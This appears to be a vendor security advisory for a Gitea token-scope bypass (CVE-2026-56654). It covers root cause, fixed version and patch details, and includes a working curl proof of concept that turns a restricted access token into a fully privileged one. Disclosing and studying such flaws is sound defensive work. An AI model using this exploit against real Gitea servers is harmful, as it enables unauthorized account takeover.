highCVE-2026-56654Jul 21, 2026

CVE-2026-56654: Gitea Privilege Escalation via Access Token Scope Bypass

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

A flaw in Gitea's API lets an attacker use any restricted Personal Access Token to mint a new fully-privileged token, bypassing the password-only guard without ever knowing the account password.

Packagecode.gitea.io/gitea
Ecosystemgo
Affected< 1.27.0
Fixed in1.27.0

The problem

Gitea's `POST /users/{username}/tokens` endpoint is guarded by `reqBasicOrRevProxyAuth`, which is meant to allow only real password-based logins. However, when a token is submitted as `Authorization: Basic base64(<token>:x-oauth-basic)`, the Basic auth handler validates it and returns the user, causing the auth group to record `AuthedMethod="basic"`. `IsBasicAuth` is then set to `true`, fooling the guard into passing the request through.

Once past the guard, `CreateAccessToken` applies no scope ceiling. It creates the new token with whatever scope the attacker requests, regardless of the caller's actual token scope. An attacker holding a scoped-down CI token (e.g. `write:user`) can therefore generate an `all`-scoped token and gain full account access without knowing the user's password.

Proof of concept

A working proof-of-concept for CVE-2026-56654 in code.gitea.io/gitea, with the exact payload below.

bash
# BASE64 encode "<restricted_token>:x-oauth-basic" and send as Basic auth.
# Replace GITEA_URL, USERNAME, and RESTRICTED_TOKEN with real values.

RESTRICTED_TOKEN="<your_write_user_scoped_token>"
USERNAME="victim"
GITEA_URL="https://gitea.example.com"

# Step 1 - confirm the restricted token is blocked from repo scope
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: token ${RESTRICTED_TOKEN}" \
  "${GITEA_URL}/api/v1/repos/search"
# Expect: 403

# Step 2 - exploit: pass the token as Basic-auth username with password x-oauth-basic
# Basic.Verify() validates the token, sets AuthedMethod="basic", IsBasicAuth=true.
# CreateAccessToken then creates the new token with scope "all" - no ceiling enforced.
curl -s -X POST \
  -u "${RESTRICTED_TOKEN}:x-oauth-basic" \
  -H "Content-Type: application/json" \
  -d '{"name":"escalated","scopes":["all"]}' \
  "${GITEA_URL}/api/v1/users/${USERNAME}/tokens"
# Expect: 201 Created with a new token carrying scope "all"

# Step 3 - confirm the escalated token reaches repo endpoints
ESCALATED_TOKEN="<token from step 2 response>"
curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: token ${ESCALATED_TOKEN}" \
  "${GITEA_URL}/api/v1/repos/search"
# Expect: 200 OK (was 403 with the original token)

The root cause is a mislabeling in the auth pipeline. `Basic.Verify()` in `services/auth/basic.go` detects the `x-oauth-basic` password sentinel and validates the token credential, but the containing `group.Verify()` in `services/auth/group.go` records `AuthedMethod` as the method's own name, `"basic"`, not `"access_token"`. `AuthShared` in `routers/common/auth.go` then computes `IsBasicAuth = (AuthedMethod == "basic")`, which is `true` even for a token-based call.

This is CWE-287 (Improper Authentication).

The second flaw compounds the first: `CreateAccessToken` in `routers/api/v1/user/app.go` normalizes and stores the caller-supplied scope without comparing it against the calling token's own `ApiTokenScope`. The fix in commit `de4b8277` and PR #38406 corrects `reqBasicOrRevProxyAuth` to check `AuthedMethod` explicitly against the `"basic"` method constant rather than relying on `IsBasicAuth`, and adds a scope-ceiling check inside `CreateAccessToken` so the new token's scope can never exceed the caller's.

The fix

Upgrade Gitea to v1.27.0 or later. The fix shipped in PR #38406 (commit de4b8277e9cb576f2315fb03b5ab6478b42a1d31 and f69e15afe7496cc62e96dab244629c69eb31a7bf). Two changes were made: `reqBasicOrRevProxyAuth` was tightened to verify the actual auth method rather than trusting the `IsBasicAuth` flag, and `CreateAccessToken` now enforces a scope ceiling so no new token can exceed the calling token's privileges.

There is no workaround for pre-1.27.0 instances short of disabling the token-creation API endpoint.

Reported by AdamKorcz and ohxorud-dev.

References: [1][2][3][4][5][6]

Related research